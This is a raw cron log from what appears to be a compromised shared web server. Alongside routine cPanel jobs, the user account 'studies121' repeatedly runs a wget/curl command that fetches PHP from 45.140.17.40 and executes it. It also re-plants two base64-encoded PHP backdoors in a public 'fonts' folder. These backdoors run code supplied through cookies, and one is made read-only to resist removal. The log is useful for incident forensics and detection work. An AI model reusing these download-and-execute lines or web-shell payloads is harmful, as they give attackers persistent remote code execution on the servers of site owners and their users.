Sep 10 22:42:01 ip-184-168-122-23 CROND[21759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:42:01 ip-184-168-122-23 CROND[21756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:43:01 ip-184-168-122-23 CROND[21849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:43:01 ip-184-168-122-23 CROND[21850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:43:01 ip-184-168-122-23 CROND[21851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:43:01 ip-184-168-122-23 CROND[21852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:44:01 ip-184-168-122-23 CROND[21932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:44:01 ip-184-168-122-23 CROND[21933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:44:01 ip-184-168-122-23 CROND[21935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:44:01 ip-184-168-122-23 CROND[21936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:44:01 ip-184-168-122-23 CROND[21939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:45:01 ip-184-168-122-23 CROND[22117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:45:02 ip-184-168-122-23 CROND[22120]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:45:02 ip-184-168-122-23 CROND[22121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:45:02 ip-184-168-122-23 CROND[22119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:45:02 ip-184-168-122-23 CROND[22124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:45:02 ip-184-168-122-23 CROND[22123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:46:01 ip-184-168-122-23 CROND[22206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:46:01 ip-184-168-122-23 CROND[22208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:46:01 ip-184-168-122-23 CROND[22210]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 22:46:01 ip-184-168-122-23 CROND[22211]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 22:46:01 ip-184-168-122-23 CROND[22212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:46:01 ip-184-168-122-23 CROND[22215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:46:01 ip-184-168-122-23 CROND[22214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:47:01 ip-184-168-122-23 CROND[22313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:47:01 ip-184-168-122-23 CROND[22315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:47:01 ip-184-168-122-23 CROND[22316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:47:01 ip-184-168-122-23 CROND[22317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:48:01 ip-184-168-122-23 CROND[22414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:48:01 ip-184-168-122-23 CROND[22415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:48:01 ip-184-168-122-23 CROND[22419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:48:01 ip-184-168-122-23 CROND[22420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:48:01 ip-184-168-122-23 CROND[22421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:49:01 ip-184-168-122-23 CROND[22516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:49:01 ip-184-168-122-23 CROND[22517]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 22:49:02 ip-184-168-122-23 CROND[22518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:49:02 ip-184-168-122-23 CROND[22521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:49:02 ip-184-168-122-23 CROND[22522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:50:01 ip-184-168-122-23 CROND[22720]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 22:50:01 ip-184-168-122-23 CROND[22722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:50:01 ip-184-168-122-23 CROND[22719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:50:01 ip-184-168-122-23 CROND[22728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:50:01 ip-184-168-122-23 CROND[22723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:50:01 ip-184-168-122-23 CROND[22724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:50:01 ip-184-168-122-23 CROND[22725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:50:01 ip-184-168-122-23 CROND[22726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:50:01 ip-184-168-122-23 CROND[22727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:51:01 ip-184-168-122-23 CROND[22835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:51:01 ip-184-168-122-23 CROND[22836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:51:01 ip-184-168-122-23 CROND[22838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:51:01 ip-184-168-122-23 CROND[22839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:52:02 ip-184-168-122-23 CROND[22929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:52:02 ip-184-168-122-23 CROND[22932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:52:02 ip-184-168-122-23 CROND[22934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:52:02 ip-184-168-122-23 CROND[22933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:52:02 ip-184-168-122-23 CROND[22935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:53:01 ip-184-168-122-23 CROND[23019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:53:01 ip-184-168-122-23 CROND[23021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:53:01 ip-184-168-122-23 CROND[23023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:53:01 ip-184-168-122-23 CROND[23022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:54:02 ip-184-168-122-23 CROND[23108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:54:02 ip-184-168-122-23 CROND[23110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:54:02 ip-184-168-122-23 CROND[23113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:54:02 ip-184-168-122-23 CROND[23111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:54:02 ip-184-168-122-23 CROND[23112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:55:01 ip-184-168-122-23 CROND[23283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
